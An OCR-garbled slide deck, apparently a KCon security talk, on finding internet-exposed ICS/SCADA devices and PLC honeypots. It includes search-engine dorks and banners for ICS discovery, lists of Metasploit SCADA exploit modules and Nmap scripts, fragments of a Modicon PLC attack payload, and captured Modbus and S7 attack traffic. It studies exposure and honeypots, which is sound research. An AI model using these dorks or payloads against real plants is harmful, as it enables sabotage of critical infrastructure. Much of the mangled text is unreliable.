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SHINETXI Project Shodan Intelligence Extraction

X-Plane. Treasure Map. NGCR

¥aiE b 10 R AN BE

=infracritical

Project SHINE

(SHodan INtelligence Extraction)
69.34.78.32

Findings Report | 1 Oct

Based on intelligence gathered from the 2 O 1 4

SHODAN search engine between
14 Apr 2012 through 31 Jan 2014

DEFENSE ADVANCED
RESEARCH PROJECTS AGENCY

% SHODAN

EXPOSE ONLINE DEVICES.
WEBCAMS. ROUTERS.

POWER PLANTS. IPHONES. WIND TURBINES.
REFRIGERATORS. VOIP PHONES.

Defense Advanced Research Projects Agency > Program Information
e

' Plan X
Mr. Frank Pound
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EREIVER (BIRER) ~ @oommmoms F<RSIGHT

e/ X SECURITY
BGP/AS/E&EH/Whois/354L

Passive DNS/{ZZE# & /

X ARBIEIR (BHERELL T HT)
HLiESTHE (10C/TTP)

o) total ThreatBook

FRE . tERER) ' (@)360 “»Recorded Future
/ \\"j INTERNET SECURITY CENTER 0
G B BN EIR (INME&ARTR) e olicnvault
] Lél: .:‘\\t. ;, L u
giﬁtﬁ\ RRANTIN Rk S ig Py THREATCONECT mHE

@ MaxMing® oo o xforce Exchange
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HIRFIR
IR IEIRE B E IR R AL
BRERFER—SME. XI. 4R
HEEREX R ERRE, FAEX

=~ JAMES FRANCO SETH ROGEN
ol AIStOl =SS = 2 OI&8AI2!

! THE
r JINTERVIEW
CHRISTMAS
il

Researchers from the cyber intelligence company Norse have said their own
investigation into the data on the Sony attack doesn’t point to North Korea at all
and instead indicates some combination of a disgruntled employee and hackers for
piracy groups is at fault.
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Ex X5 S AR

FrxreelR . KBEHIEFI TR B N
Stuxnet/Duqu/F | ame
BlackEnergy

£t 3FSCADA Z 4t i B A in BBl
EFE AT#5HISCADA, PLC
VB0 B Bk B T35 35 7=
3t TIEE B BOERN

3 TR R BN T A B SR
EIkMLRSE] “RL”
B & RHBSHHIE

https://apt.securelist.com
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Shodan shodan.io
Censys censys.io SHODAN CenSyS |VRE
ZoomEye zoomeye.org
ICSfind icsfind.org -

- T T RAPIDD
IVRE ivre.rocks —1’
Rapid7 scan.io

FRFEERHESR

nmap nmap.org
zmap zmap.io

[kTHE LI = @KCon |

masscan  github.com/robertdavidgraham/masscan

ETHRUAANFEaN IIEREEREERR

{1CS/SCADA/PLC Google/Shodanhg Cheat Sheet) Internet connected ICS/SCADA/PLC Cheat Sheet 2013
http://scadastrangelove. org/
<< | nternet Connected |CS/SCADA/PLC Cheat Sheet>> Gleb Gritsai, Alexander Timorin, Alexander Zaitsev, Sergey Gordeychik, Valentin Shilnenkov

http://www. scadaexposure. com/

www.scadastrangelove.org
BEACON LAB
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MMS 102 ‘SS&J TR ANASEER A E
Modbus 502 43THHEERS

IEC104 2404 A nhiERE

DNP3 20000 I SR BERIRTS
OPCUA 4840 FEIRPE S5 BB SR
EtherNet/IP 44818 HEZ IR A
BACnet 47808 Mg EEE

BMX P34 2020 version: v2.5

Unit ID:
—- Device Identification:
CPU module: BMX P34 2020

0

—— Memory card: BMXRMS@O8MP
—— Project information: Project - V6.0
-- Project revision: 0.0.197
—— Project last modified: 2016-06-02 14:30:46

\ B}

/
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HP-1
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LRISASEa

I AR fE A

]

W BN SERE A

)=k RIN
FEREEIA
A& RIER

Bl B . BIERIE A
1=me

B2 w

FigE . BIIREASERS

e

Siemens S7

Schneider Electric BMX P34 2020

Codesys
Mitsubishi MELSEC
Omron FINS

GE SRTP

ERiAus A

102

1200

5007

9600

18245

/—\

TR A

A

Copyright: Original Siemens Equipment

PLC name: p-Faellung

Module type: CPU 314

Unknown (129): Boot Loader A
Module: 6ES7 314-1AG14-0ABO v.0.4

Basic Firmware: v.3.3.2

Module name: CPU 314

Serial number of module: S C-C1T496792012
Plant identification:

Basic Hardware: 6ES7 314-1AG14-0AB0 v.0.4

WERINAE oz N

ESzZL PLCHIBHRIZ B KRA. BSE
BERFER REER

BECPUE R PLCHITRIR{Z B

ECPUETTIER PLCHIFEIR(Z B

ECPUETTIE R PLCHIFEIR(Z B
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I e BESS () RFAIE
HTTP (80) Location: /Default.mwsl
S7 1200
SNMP(161) Siemens, SIMATIC S7, CPU-1200
Siemens
HTTP (80) Location: /Portalo000.htm
S7 300
SNMP(161) Siemens, SIMATIC NET
Hollysys LK Series FTP(21) Welcome to LK FTP services.
Mitsubishi Q Series FTP(21) QNUDE(H)CPU FTP server ready.
Moxa NPort HTTP (80) Server: MoxaHttp
vendor product dork network info Vendor Product Protcol | Dork/Banner
Siemens PCS7 http STWeb.css
Slemens $7-200 Siemens PCST url Portal0000.htm
all models: tep/udp/102 (by vuln info) Siemens SIMATIC url Portal/Portal.mwsl
Siemens SIMATIC url STWeb.css
| Siemens SIMATIC HMI Miniweb url JCSS/Miniweb.css
Siemens SIMATIC HMI Miniweb title Miniweb Start Page
Rockwell Automation ‘CompactLogix title Rockwell Automation
Rockwell Automation CompactLogix title Device Name
Rockwell Automation | SLCS title 1747-1552
schneider electric PowerLogic PM800 header | Powerlogic PM80O
7300 snmp: Slemens, SIMATIC, 57 Schneider Electric PowerLogic IONS650 header | 8650 ION
Schneider Electric PowerLogic IONS600 header | 8600 ION
Schneider Electric Powerloglc ION7650/7550 header | ION 7550
Schneider Electric PowerLogic ION7650/7550 header | ION 7650
Schnelder Electric Powerlogic ION7300 header | ION 7300
Schneider Electric PowerLogic ION6200 header | ION6200
$7-3%%, PCS7 Inurl:/Portalo000.htm http: /S7Web.css Schnelder Electric Powerlogic PM1200 header | PM1200
Schneider Electric Powerlogic DM6200 header | DM6200
Schneider Electric Powerlogic Branch Current Monitor | header | BCM42
Simatic 7 snmp: Slemens, SIMATIC $7, CPU-1200 Schnelder Electric Powerlogic Ethernet Gateway (EGX) | header | EGX100
Siemens, SIMATIC 57, CPU317-2 PN/DP Schneider Electric Powerlogic EGX300 header | EGX300
Siemens, SIMATIC 7, CPU315-2 PN/DP Schnelder Electric Powerlogic ION7550RTU header | ION 7550RTU
Schneider Electric Modicon\Quantum title Quantum CPU Web Server

g. BEACON LAB Schaeider Electric Modicon\Premium tite | Premium CPU Web Server
2 ) KTES3C8 =
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HE1FE R ] Bk e tios System / Component SCADAhacker Metasploit
Reference Reference
BACnet-di - 3 2
enumerate.nse 47808 IRBIFKALBACHEIQ i xploitiwindow figss9_i rver_listall.
. ICS-11-080-03  exploit/windows/scadaligss9_igssdataserver_rename.rb
atg-info.nse 10001 IR AL SR E N8 7-Technologies IGSS ICSA-11-132-01A exploit/window: i misc.
codesys-v2-discover.nse 1200 N FM A Codesys v2i2 8% lAzeoTech DAQ Factory Click Her a:x:ll? “:iandm‘:‘lscadahl S8 efxef 17.fbf.
cspva-info.nse 2222 RBIPLCS/SLC 50035 M) 28 38 CoDeSys Click Here exploit/windows/scada/codesys_web_server.rb
. . N BACnet OPC Client ICSA-10-264-01 exploit/windows/fileformat/bacnet_csv.rb
dnp3-info.nse 20000  TRBIDNP3EOIR Operator Workstation n/a xploit/windows/browser/teechart_pro.
enip-enumerate.nse 44818 IR BIFOMAEEtherN et/ IPIM IR i Beckhoff TwinCat Click Here auxiliary/dos/scada/beckhoff_twincat.rb
. . . General Electric D20 PLC Press Release  auxiliary/gather/d20pass.rb
fox-info.nse 1911 iR % Niagara Fox$x{t DigitalBond S4  unstable-modules/auxiliary/d20tftpbd.rb
modicon-info.nse 502 AL PP LC AR i i 11-080- exploit/windows/scadaliconics_genbroker.rb
lconics (Genesis32 1CS-11-080-02 o,/ oit/windows/scadaliconics_webhmi_setactivexgquid.rb
omrontcp-info.nse 9600 IR B FOALNEBR IS A2 PLCN & Measuresoft ScadaPro Click Here xploit/window: / mdexe.
omronudp-info.nse 9600 5 FO AL AEER G 12 PLCTAL@. Moxa Device Manager %1 exploit/windows/scada/moxa_mdmtool.rb
pcworx-info.nse 1962 R B FOML R T FE FENTPLCAN @ RealFlex RealWin SCADA exploit/windows/scada/realwin.rb
1CS-11-305-01 exploit/windows/scada/realwin_scpc_initialize.rb
proconos-info.nse 20547 WL FNAL AL FH Proconos iy 2 1 88 -11-. it/wi T i initiali
s7-enumerate.nse 102 RSB FOALRE DG )T S7TPLCIN @ exploit/windows/scada/realwin_scpc_txtevent.rb
1CS-11-080-04 xploit/window: /realwin_on_fc_binfile_a.
mms-identify.nse 102 IR FOAL A FFIECE1850 N AYIR a8 ICSA-11-110-01 'exploit/windows/scada/realwin_on_fcs_login.rb
Scadatec Procyon Click Here xploit/window: /| n rver.
modbus-discover.nse 502 IRBFABEModbusi@ i {58 ModbusTagServer . .
ScadaTEC ScadaPhone Click Here i lef
cr3-fingerprint.nse 789 IRBFARELTIHIE P AR 1T R i X CitectSCADA o .
. - Schneider Electric CitectFacilities loit/window: i
(EEERCIRAED 4800 iASIABHEMoxaNPOrtid {8 Sielco Sistemi Winlog ICSA-11-017-02 lexploit/windows/scada/winlog_runtime.rb
melsec-discover.nse 5007 BB E=EQRIIPLCER Siemens Technomatix FactoryLink —[08'11'1080'101 exploWwindows/scadajtactorylink_cssservice.rh Ioit/w:ndowslscadalfacto I!nk ssssewioe‘rb
melsecq-discover-udp.nse 5006 RPN =BQREFIPLCIE A Unitronics OPC Server n/a exploit/exploits/windows/browser/teechart_pro.rb

https://scadahacker.com/resources/msf-scada.html
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< Left of Hack Right of Hack )

%?& LI& % Z: /Esl, ZEE “ TH ?Elﬂ- ? Recon Deliver Control Maintain

Kill ChainEXEBME— o o o O O [ o
PR dHEE. BX. . B 7L 1KE

1?5E§:
| == KN

Weaponize Exploit Execute
EI‘S\\EEA o e Example Cyber Kill Chain
— P RIRANIIERSS
— DN EAEEE T =M%

4012 | PvAZ )&+ TIm i & ITEN

3 TIEMEFHEZERR
PLC Blaster

ME = IR ZIERTEE
Bt a5 & 1B RS
IR ERLM “EmFR"
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Digitalbond \ Bk
FEEAY SRS ME SN HEST
Conpot

SCADA HoneyNet Project: Building
Honeypots for Industrial Networks

Venkat Pothamsetty and Matthew Franz
Critical Infrastructure Assurance Group(CIAG)
Cisco Systems, Inc.
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Honeypot Or Not?

Enter an IP to check whether it is a honeypot or a real control system:

T o

g BEACON LAB
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Anti-Honeypot Technology

Thorsten Holz
Laboratory for Dependable Distributed Systems

holz@id.informatik.rwth-aachen.de

“4%4 RWTH

@Cymmetria

Breaking Honeypots for Fun and Profit .

Dean Sysman
Itamar Sher
Gadi Evron
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103. 102 Version: 0.0 System Nam " 1) f Module Type:
23.1 » 7 102 Version: 0.0 System NameflPG[random.randint(Of1) f Module Type:
162. 6 102 Version: 0.0 System NameflPG[random.randint(Of1) f Module Type:
176. " 3 102 Version: 0.0 System NameflPG[random.randint(O81) f Module Type:
198. 05 102 Version: 0.0 System NameflPG[random.randint(O§1) f Module Type:
142, ¥ 102 Version: 0.0 System NamefllPG[random.randint(ON1) f Module Type:
238 » 102 €= Us Version: 0.0 System NameflPG[random.randint(O81) f Module Type:
238 102 EXE US Version: 0.0 System NamellPG[random.randint(Ol1) f Module Type:
168.1.1¢ Version: 0.0 System Name: Technodrome SIMATIC
162.24& Version: 0.0 System Name: Technodrome SIMATIC
167.88.- Version: 0.0 System Name: Technodrome SIMATIC
47.88.1: Version: 0.0 System Name: Technodrome SIMATIC
185.19. Version: 0.0 System Name: Technodrome SIMATIC
80.149. Version: 0.0 System Name: Technodrome SIMATIC
46.101. Version: 0.0 System Name: Technodrome SIMATIC
104.23& Version: 0.0 System Name: Technodrome SIMATIC
82.103. Version: 0.0 System Name: Technodrome SIMATIC
185.90 Version: 0.0 System Name: Technodrome SIMATIC
212.71. Version: 0.0 System Name: Technodrome SIMATIC
178.79. Version: 0.0 System Name: Technodrome SIMATIC
46.101. Version: 0.0 System Name: Technodrome SIMATIC
202.43. Version: 0.0 System Name: Technodrome SIMATIC
185.10& Version: 0.0 System Name: Technodrome SIMATIC
114.14Z Version: 0.0 System Name: EQuipo SIMAT SIMATIC
1.23.19: Version: 0.0 System Name: Technodrome SIMATIC
180.16.: Version: 0.0 System Name: Technodrome SIMATIC
54.199.: Version: 0.0 System Name: Technodrome SIMATIC
54.199. Version: 0.0 System Name: Technodrome SIMATIC
146.185 102 {RFTFNWT NL Version: 0.0 System Name: Technodrome SIMATIC
188.16€ 2 Version: 0.0 System Name: Technodrome SIMATIC
66.50.1: Version: 0.0 System Name: Water-Pump-

Version: 0.0 System Name: Water-Pump-
66.50.1: Version: 0.0 System Name: Water-Pump-
66.50.1: Version: 0.0 System Name: Water-Pump-
128.19< Version: 0.0 System Name: Technodrome SIMATIC
128.19¢ Version: 0.0 System Name: Technodrome SIMATIC
94.229.: Version: 0.0 System Name: Technodrome SIMATIC
158.197 Version: 0.0 System Name: Technodrome SIMATIC
52.192. ES 7] Version: 0.0 System Name: Technodrome SIMATIC
159.20= 102 HMNBE A E L. US Version: 0.0 System Name: Technodrome SIMATIC
104.37. 102 JEEHBIX us Version: 0.0 System Name: Technodrome SIMATIC
52.67.71 Version: 0.0 System Name: Technodrome SIMATIC
52.90.2: Version: 0.0 System Name: Technodrome SIMATIC
196.28.: Version: 0.0 System Name: Water-Pump-
52.584 Version: 0.0 System Name: Technodrome SIMATIC
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West-5793 Serial
West-5793 Serial
West-5793 Serial
West-5793 Serial

West-5793 Serial

& z=@KCon |

™

s
Serial Number: 8675309
Serial Number: 8675309
Senal Number: 8675309

Serial Number: 8675309
Serial Number: 8675309

Siemens SIMATIC S7-2
Siemens SIMATIC S7-2
Siemens SIMATIC S7-2
Siemens SIMATIC S7-2i
Siemens SIMATIC S7-21
Siemens SIMATIC S7-2
Siemens SIMATIC S7-2i
Siemens SIMATIC S7-2
S7-200|
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7 -200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-300 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:

S7-200 Number:
S7-200; Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:
S7-200 Number:

S7-200

mber: 88111222
mber: 88111222
mber: 88111222
rnber‘ 88111222

Idennf-cauon

Identifi
entification:
entification:

entification:
entification:

Identi
Idenu
Ident

Identification:

Identi

Identificatio

Ident
Ident

Identification:

lant Identification:
lant Identification: Power Generation One Copyright: Original Siemens Equipment

~y

lant Identification: Power Generation One Copyngh!: Original Siemens Equipment
lant Identification: Power Generation One
lant Identification: Power Generation One
lant Identification: Power Generation One
lant Identification:

: Original Siemens Equipment
: Original Siemens Equipment
: Ongunal Siemens Equipment
Power Generation One
: Power Generation One
Power Generation One

Mouser Factory
Factory
Factory
Factory
Factory
Factory
Factory
Factory
Factory
Factory
Mouser Factory
: Mouser Factory
Mouser Factory

Copyright: Original Siemens Equipment
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens
: Mouser Factory Copyright: Original Siemens Equipment
Metachem Manufatures Copyright: Original Siemens Eqgui)
Mouser Factory Copyright: Original Siemens ment

: Mouser Factory Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens Equipment
: Mouser Factory Copyright: Original Siemens Equipment
AAA Copyright: Original Siemens EqQuipment

AAA Copyright: Original Siemens Equipment

AAA Copyright: O Siemens EqQuipment

AAA Copyright: Original Siemens Equipment

: Mouser Factory Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens
: Mouser Factory Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens
Mouser Factory Copyright: Original Siemens Equipment
Mouser Factory Copyright: Original Siemens Eq ment
Mouser Factory Copyright: Original Siemens Eq ment
Mouser Factory Copyright: Original Siemens Equipment

ication:

catio
cation:

entification: AAA Copyright: Original Siemens EQuipment
Plant Identification: Mouser Factory Copyright: Original Siemens Equipment
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< Location designation of a module:
Host Virtual

[KTHESEIE = @KCon |

Copyright: Original Siemens Equipment

Z India, Chennai Module type: IM151-8 PN/DP CPU host = api.host('xxx.xxx.xXxxX.xxxXx', history=True)
Details PLC name: PG[random.randint(@,1) f

Module: v.@.@

Plant identification: Power Generation One Location designation of a module:

OEM ID of a module: Copyright: Original Siemens Equipment

Module name: Siemens, SIMATIC, S7-20@
Serial number of module: 86753@9

Module type: CPU 226
PLC name: Czajka-STUuoOsS
Module: v.©.Q

23.106.59.127 Plant identification: MPWiK-ZOS—-Czajka
Nobis Technology Group, LLC Location designation of a module: OEM ID of a module:
== United States, Phoenix Copyright: Original Siemens Equipment Module name: Siemens, SIMATIC, S7—-200
Details Module type: INIS1-8 PN/DP CPU Serial number of module: 6ES7 216-2AD23-0XBO
PLC name: PG[random.randint(®,1) f
Module: v.@.0Q
Plant identification: Power Generation One Por-t: 1@2
OEM XD of @ module: R Banner: Location designation of a module:
Module name: Siemens, SIMATIC, S7-20@ - - - - -
Serial number of module: 86753@9 Copyright: Original Siemens Equipment
Module type: IM151-8 PN/DP CPU
PLC name: Technodrome
162.218.89.26 Module: v.0.0
ColoCrossing Location designation of a module: : i < = = -
o i e Copyright: Original Siemens Equipment PlLant 1dent1F1cat1c3n. Mouser Factory
Details Module type: IM151-8 PN/DP CPU OEM ID of a module:
PLC name: PGLrandom.randint(e,1) f Module name: Siemens, SIMATIC, S7-200
Module: v.9.0 Serial number of module: 88111222

Plant identification: Power Generation One
OEM ID of a module:
Module name: Siemens, SIMATIC, S7-20@ TIME: 2016-07-29T05:42:17 .030523

Serial number of module: 86753@9

g BEACON LAB
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102 Location designation of a module:
tcp Copyright: Original Siemens Equipment
s7 Module type: IM151-8 PN/DP CPU

PLC name: Technodrome

Module: v.0.0

Plant identification: Mouser Factory
OEM ID of a module:

Module name: Siemens, SIMATIC, S7-200
Serial number of module: 88111222

8000 Apache httpd version: 2.0.48
,:tr; HTTP/1.1 200 OK

Server: Apache/2.0.48

Date: Sun, 31 Jul 2016 16:21:12 GMT
Content-Type: text/html; charset=utf8
Content—-Length: 19949

H

8090 HTTP/1.1 400 Bad Request
tcp Server: Apache-Coyote/1.1
http Transfer—-Encoding: chunked

Date: Sat, 16 Jul 2016 10:47:48 GMT

Connection: close

g BEACON LAB
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rapidshare

Login Form

Please fill in your credentials
Login:

Password

Subemit

My Resource

Mr. ngly
was sure of hearing it talked of. The sight enable secret 5 $ should know it, and so | let down the side-glass next to him, and took
\"powered Chariotte's sake, she made more favout . the truth.

a Cobalt RaQ To this his

nd the at n

only with a laugh: and as it had Most Submitted Forms and her feeling that all the comfort of intimacy
by ndex of / My dear and | have but one

mind and one way of rootpw were, by his behaviour to his cousin, for whom he was evidently Syntax error in QUery expression
this. was Fatal error: Call to &

Bad to O n

ASP.NET_Sessionid Jane could have no from ‘where would give Invision Power Board Database
were not better. was quite his sisters pPCANYWHERE EXPRESS Java Client _myself . but

1 dread other e Server - Login continued: the being. as | am, to inherit this estate after the death of

your honoured ORA-00921: unexpected end of SQL comm rther by his account of their pres the very great

Iist‘:lm?:om?
stand:*:
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L& ERIRAUER

S7comm1_1.:. S 00000000 03 00 00 16 11 €@ 00 00 00 14 00 C1 02 01 00 C2 - eeueee wveennn.
2o stogsE 00000010 02 01 02 c0 01 @a ...
TCP_/)\&TF%EE_LJ.E'LRTCPJE%E 00000000 03 00 00 16 11 dO 00 14 ©0 03 00 CO 01 03 CL 02 +eeuueen weennnns
00000010 01 00 c2 02 01 02
1S0_TPYEFRIE T g 00000016 ©3 00 00 19 02 f0 80 32 01 00 00 00 00 00 08 00 ....... A coooooo:
S7Tﬁ}}()§}g1g}k NZEEERE 00000026 00 @ 00 00 01 00 01 01 €0 e
00000016 03 00 00 1b 02 fO 80 32 03 00 00 00 00 00 08 00
SCERS7IMSE BN E 1R 00000026 00 00 00 O 00 00 01 00 01 00 O

0000002F ©3 00 00 21 02 fO 80 32 ©7 00 00 00 00 00 08 00 ...!...
0000003F ©8 00 01 12 94 11 44 01 00 ff 09 00 04 00 11 00
0000004F 01 .

00000031 ©3 00 00 99 02 fO 80 32 07 00 00 00 00 00 Oc 00

BT HRIUS7commtiy A 3R EIZ &5 2

....... 2 iiaan.
_ _ 00000041 7c 00 01 12 08 12 84 01 01 00 00 00 00 Tf 09 00 [....... ........
Module: 6ES7 151-8AB01-0ABO 00000051 78 00 11 00 00 00 1c 00 4 00 01 36 45 53 37 20 X....... .. .6ES7
: ) _ _ 00000061 31 35 31 2d 38 41 42 30 31 2d 30 41 42 30 20 00 151-8ABO 1-0ABO .
Basic Hardware: 6ES7 151-8AB01-0ABO 00000071 O 00 02 00 01 00 @6 36 45 53 37 20 31 35 31 2d ....... 6 ES7 151—
Version: 3.2.3 00000081 38 41 42 30 31 2d 30 41 42 30 20 00 cO 00 02 00 SABO1—QA BO .....
-9 4 00000091 01 00 07 20 20 20 20 20 20 20 20 20 20 20 20 20 ...
. 000000A1 20 20 20 20 20 20 20 00 cO 56 03 02 03 00 81 42 . V.....B
System Name: SIMATIC 300 (1) 000000B1 6f 6 74 20 4c 6f 61 64 65 72 20 20 20 20 20 20 oot Load er
Module Type: AN12CPU _ 000000C1 20 20 20 00 00 41 20 09 ©9 LA
Serial Number: S C—-B8TH91812011 00000031 08 00 01 12 04 11 44 01 00 ff 05 00 04 00 lc 00 .

00000091 01 -
00000163 ©3 00 00 f7 02 fOo 80 32 07 00 00 00 00 00 Oc 00
00000173 da ©0 01 12 ©8 12 84 901 01 12 01 00 00 ff 09 00
00000183 d6 00 1c 00 00 00 22 00 ©Oa 00 01 53 49 4d 41 54
00000193 49 43 20 33 30 30 28 31 29 00 00 00 00 00 00 00
O00001A3 00 00 00 00 00 00 00 00 0O 00 00 00 02 41 4e 31
©00001B3 32 43 50 55 00 00 00 00 0O 00 00 00 00 00 00 00
000001C3 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 03 00
©000001D3 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00
OOVOO1E3 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00
©0VOV1F3 04 4f 72 69 67 69 6e 61 6Cc 20 53 69 65 6d
00000203 73 20 45 71 75 69 70 6d 65 6e 74 00 00 00 00 00
00000213 00 00 05 53 20 43 2d 42 38 54 48 39 31 38

Copyright: Original Siemens Equipment

.Origina 1 Siemen
s Equipm ent.....
...S C—B 8TH91812
00000223 30 31 31 00 00 00 00 00 0O 00 00 00 00 00 00 00 01
00000233 00 00 00 00 ©7 49 4d 31 35 31 2d 38 20 50 4e 2f
00000243 44 50 20 43 50 55 00 00 00O 00 00 00 00 ©0 ©0 ©0 DP CPU..
00000253 00 00 00 00 00 00 ©8
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Bfﬁﬂﬁﬁ’%(Schneider) Modicon PLC ?ﬂﬁ@iﬁﬁ‘mﬁﬁ%ﬂ(ﬁaﬁ@wp .send_delay/( .makeframe(payload), sock)
(30n1n1and) payload = '\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"'
.send_delay( .makeframe(payload), sock)
payload = '\x00\x10\x43\x4c\x00\x00\x0f"

payload += 'USER-SEBUG.NET."

SSV-89458 Wi s .send_delay( .makeframe(payload), sock)
WK payload = '\x01\x04'
i .send_delay( .makeframe(payload), sock)
e payload = '\x01\x50\x15\x00\x01\x0b"
o 0
& IRXBE I
W5 s
Schneider 1"#$%&" ()*+,-./0123456789: ; <=>7@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]*

ipqrstuvwxyz{|}~
PU#$%E" () *+,-./0123456789: ; <=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]"

iparstuvwxyz{ |}~
e r e e rrrrrerr e e e
e i

EffModiconRFIPLCSZIFEI Unity ProfR{4H2HIPLC , BIERFNLETEHR. RENED $TTTT
KA SEERURRE,

(R FAVXWorks— B P 22 4 B ] )

g BEACON LAB
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T & waEiesU= 2

e ferien 150 e - v ISO 8073/X.224 COTP Connection-Oriented Transport Protocol
1c000000§01¢0 COTP CR 2015-12-19705:06:49. 017Z 53274
1 CoTP CR 53274 Length: 17
1 o 333? PDU Type: CR Connect Request (0x0e)
1 COTP CR 39946 . 2 . 00
1 COTP CR 43697
. ol o | Source reference: 0x0014 |F AR EIER S B
H o i 0000 .... = Class: ©
1 corp cr i +ess «.0. = Extended formats: False
! OOTE G 16048 ess 2.0 = No explicit flow control: False
1 COTP CR 40253
1 coTP R 51345 Parameter code: src-tsap (@xcl)
1 COTP CR 35433
: ] sis Parameter length: 2
1 cotP CR 39946 Source TSAP: 0100
i o S6050 Parameter code: dst-tsap (@xc2)
i o ¢ e Parameter length: 2
: o o S1aeb Destination TSAP: 0102
. o ;ﬁ;; Parameter code: tpdu-size (0xc@)
| e Sasee Parameter length: 1
L OIE G s34 TPDU size: 1024
1 COTP CR 48111
. CorF &% Fo 0000 d4 ee @7 40 24 78 60 f8 1d c7 88 le @08 00 45 eea@$X . ......E.
1 COTP CR 53274 0010 00 3e e3 ab 40 00 40 06 e7 3b c@ a8 @01 a6 8a G C I
1000000081 Cote o S0 0020 22 c8 c1 @d @0 66 38 9c 26 e2 00 78 c@ 9f 5@_18 ..f8. &..x..P.
Leooanoot e ot azean 0030 ff ff 3f 81 00 00 03 00 00 16 11 €0 00 00 0¢ 14 | ..7..... ....c...
1 COTP CR 65500 0040 00 cl 02 01 00 c2 02 91 02 c0O 01 0a ssssssss ssss
1 COTP CR 55549
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BidmodbusthASUR I F T H XHESR
Redpoint nsef)Z$g4r

(kTR = @KCon |

e = kS

debugtR =
{u'type’: NEW_CONNECTION} modbus
{u'function_code': 90, u'slave_id": O, u'request: u'0006000000fe005a00fe00545454545454545454545454545454545454545454545454545454545454545454545454545« modbus
{u'function_code": 90, u'slave_id": 0, u'request’: u'000700000005005a000300", u‘response’: u'5a00fe7cOb452d8825f3514cbf1b3099875fc9al2d7a6ac8d85b66c6e4ab382¢ modbus
{u'function_code': 90, u'slave_id": 0, u'request': u'000800000005005a000304', u'response’': u'5a00fe0a323b3d74731a93677d616c54e42bf2818051a00e75dc8a994ca7382 modbus
{u'function_code": 90, u'slave_id": O, u'request’: u'000900000004005a0004", u'response’: u'5a00fe'} modbus
{u'function_code': 90, u’'slave_id": 0, u'request: u'000a00000005005a000100", u'response’: u'5a00fe'} modbus
{u'function_code": 90, u'slave_id": 0, u'request’: u'000b000000fe005a000a00000102030405060708090a0b0c0d0e0f101112131415161718191alblcldl1elf202122232425 modbus
{u'function_code": 90, u'slave_id": 0, u'request’: u'000c00000004005a0004", u'response’: u'5a00fe’} modbus
{u'function_code': 90, u'slave_id": 0O, u'request': u'000d00000004005a0004", u'response’: u'5a00fe'} modbus
{u'function_code": 90, u'slave_id": 0, u'request’: u'000e00000004005a0004", u'response’: u'5a00fe'} modbus
{u'function_code': 90, u'slave_id": 0, u'request’: u'000fO000000d005a0020001300000000006400°, u‘response’: u'5a00fe’} modbus
{u'function_code": 90, u'slave_id": 0, u'request’: u'00100000000d005a0020001300640000009c00", u'response’: u'5a00fe00f6002832866b74df786435d8e1657cb12df4674: modbus
{u'function_code': 90, u'slave_id" 0, u'request: u'00110000000d005a0020001400000000006400°, u'response’: u'5a00fe’} modbus
{u'function_code': 90, u'slave_id": 0, u'request': u'00120000000d005a002000140064000000f600°, u'response’: u'5a00fe00f600d34c46b114eb3076e06d45ce4d70d0abb4f modbus
{u'function_code': 90, u'slave_id": 0, u'request’: u'00130000000d005a00200014005a010000f600", u'response’: u'5a00fe001000455f3231313031352e73747500000000} modbus
{u'type': u'CONNECTION_LOST} modbus

{u'function_code": 90, u'slave_id": O, u'request’: u'000100000004005a0002', u'response': u'5a00fe50efc4783e829b5547f006039ae9e576b6fa2f1f2at modbus
{u'function_code": 90, u'slave_id": O, u'request’: u'01bfO0000005005a000606", u‘'response': u'5a00fe011d8f4942falb424d58524d533030384d5000'} modbus
{u'function_code": 90, u'slave_id": O, u'request’: u'‘000400000005005a000300', u‘response": u'5a00fede44ef02b8fc62540ee7559f07dd3613668bS%ea’ modbus
{u'function_code": 90, u'slave_id": O, u'request’: u'000f0000000d005a002000140064000000f600', u'response': u'5a00fe00f600d6ff4da88b0b8e4393 modbus
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‘ PLC H SCADA ’ ﬁummz%’
/TP P ER 5
[ SNRIRET H SRR ET H SNRIRET J ‘ P RIS ’ ‘ SIEM/SOC |=

]

|

L
t

|

X H IIELL IR J—)[ e e e ]—>@;—E§m
3 | }
H141ZE 1EFIREZE
( IP/i%0O ) ( =rummeE )
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RE{THER RS (zmowon )

( i 1 AR S5 PR &LL TR )

tcp.port=502
modbus

tcp.port=102
SRE s7comm

TPKT TPKT
LV *E:T:U) (*‘;‘iﬁn) (FC17><FC1>

s7 s7 FC90 FC90 FC90
LV3 1 R=n =1 w2 HE=3

"""""" L 2 e 2
s7 s7 FC90 FC90
FC1 FCn =1 =2

v v

é @ @ @ @ T E RS
M1 M2 M3 M4
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Nmap Script (Redpoint)
Msf module

Gi t AR IS AR AR

REFEE . AT REN
Shodan
Censys
Rapid7

[kTE5523 = @KCon |
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2016-05-15

2016-05-15
09:44:58.992000

2016-05-15
09:45:05.010000

2016-05-15
09:45:06.008000

2016-05-15
09:45:07.009000

2016-05-15
09:45:08.009000

2016-05-15

09:45:09.011000

2016-05-15
09:45:10.012000

2016-05-15

09:45:11.014000

2016-05-15
09:45:12.014000

modbus

modbus

modbus

modbus

modbus

modbus

modbus

modbus

modbus

type:NEW_CONNECTION

function_code:90

slave_id:0
request:0006000000fe005a00fe005454545454545454545454545454545454545454545454545454
